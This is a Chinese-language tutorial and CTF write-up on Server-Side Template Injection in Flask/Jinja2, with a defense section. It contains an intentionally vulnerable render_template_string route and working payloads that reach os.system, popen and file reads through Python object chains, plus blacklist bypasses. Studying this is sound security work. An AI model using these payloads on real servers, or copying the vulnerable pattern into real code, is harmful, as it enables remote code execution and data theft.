Python模板注入(SSTI)深入分析与防御指南

一、模板注入基础概念

1.1 什么是模板注入

模板注入(Server-Side Template Injection, SSTI)是一种服务器端漏洞，攻击者能够通过注入恶意模板代码在服务器端执行任意命令。在Python Web框架中，特别是使用Jinja2模板引擎的应用中较为常见。

1.2 模板注入的危害

• 执行任意Python代码
• 读取敏感文件
• 获取服务器权限
• 数据库操作

二、Python模板注入原理分析

2.1 Jinja2模板引擎语法

Jinja2引擎存在三种主要语法结构：

• 控制结构 {% %}
• 变量取值 {{ }}
• 注释 {# #}

关键点：{{ }}内的内容不仅会被填充替换，还能执行部分表达式，这是SSTI漏洞的根本原因。

2.2 Flask渲染方法

Flask主要使用两种渲染方法：

1. render_template - 渲染HTML文件
2. render_template_string - 渲染HTML字符串

漏洞触发条件：当render_template_string渲染的HTML字符串受用户控制时，就可能存在SSTI漏洞。

2.3 示例漏洞代码

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/vulnerable')
def vulnerable():
    s = request.args.get('code')
    html = '<h3>%s</h3>'%(s)
    return render_template_string(html)  # 危险！用户输入直接传入模板

if __name__ == '__main__':
    app.run()

三、SSTI利用技术详解

3.1 基本利用方式

构造payload：http://example.com/vulnerable?code={{3*2}}
如果页面返回6，则确认存在SSTI漏洞。

3.2 Python对象链利用

通过Python的魔术方法和属性链，可以访问危险函数：

1. __class__ - 获取对象的类

   ''.__class__  # 获取字符串的类
   

2. __mro__ - 获取类的继承顺序

   ''.__class__.__mro__  # 显示继承链
   

3. __subclasses__() - 获取类的所有子类

   ''.__class__.__mro__[1].__subclasses__()  # 获取所有子类
   

4. __init__.__globals__ - 获取全局变量

   [].__class__.__base__.__subclasses__()[X].__init__.__globals__
   

3.3 查找危险子类

通过以下脚本查找包含os模块的子类：

num = 0
for item in ''.__class__.__mro__[1].__subclasses__():
    try:
        if 'os' in item.__init__.__globals__:
            print(num, item)
        num += 1
    except:
        num += 1

3.4 常用payload示例

1. 读取文件：

   {{''.__class__.__mro__[1].__subclasses__()[X]('filename').read()}}
   

2. 列出目录：

   {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].listdir('.')}}
   

3. 执行命令：

   {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].system('whoami')}}
   

四、进阶绕过技术

4.1 黑名单绕过

当config、self等关键字被过滤时，可以使用：

{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

4.2 其他危险函数

1. __import__函数：

   {{__import__("os").system("ls")}}
   

2. timeit模块：

   {{[].__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['__import__']('timeit').timeit("__import__('os').system('ls')",number=1)}}
   

3. platform模块：

   {{[].__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['__import__']('platform').popen('ls').read()}}
   

五、防御措施

5.1 输入过滤

• 过滤特殊字符：{{ }} {% %} {# #} __
• 使用白名单验证用户输入

5.2 安全配置

1. 避免使用render_template_string渲染用户输入
2. 使用沙箱环境执行模板
3. 更新Jinja2到最新版本

5.3 代码示例

安全代码示例：

from flask import Flask, request, render_template, escape

app = Flask(__name__)

@app.route('/safe')
def safe():
    user_input = escape(request.args.get('input'))  # 转义用户输入
    return render_template('template.html', input=user_input)  # 使用预定义模板

六、CTF实战案例解析

6.1 案例1：Web_python_template_injection

解题步骤：

1. 确认SSTI漏洞：/{{7*7}} → 返回49
2. 构建对象链获取文件列表：

   {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].listdir('.')}}
   

3. 读取flag文件：

   {{''.__class__.__mro__[1].__subclasses__()[X]('fl4g').read()}}
   

6.2 案例2：shrine

解题步骤：

1. 发现config和self被过滤
2. 使用url_for或get_flashed_messages绕过：

   /shrine/{{url_for.__globals__['current_app'].config}}
   

3. 从config中获取FLAG值

七、扩展知识

7.1 Python沙箱逃逸技术

1. 通过内置函数__builtins__访问危险函数
2. 利用异常处理获取信息
3. 使用字符串拼接绕过关键字过滤

7.2 其他危险模块

7.3 Python2与Python3差异

1. file函数只在Python2中存在
2. execfile函数只在Python2中存在
3. Python3中__subclasses__()返回的子类顺序可能不同

八、总结

Python模板注入是一种严重的服务器端漏洞，攻击者可以通过精心构造的payload执行任意代码。防御的关键在于：

1. 永远不要信任用户输入
2. 避免直接渲染用户提供的模板
3. 实施严格的输入验证和过滤
4. 保持框架和依赖库的最新版本

通过深入理解SSTI的原理和利用技术，开发人员可以更好地保护自己的应用免受此类攻击。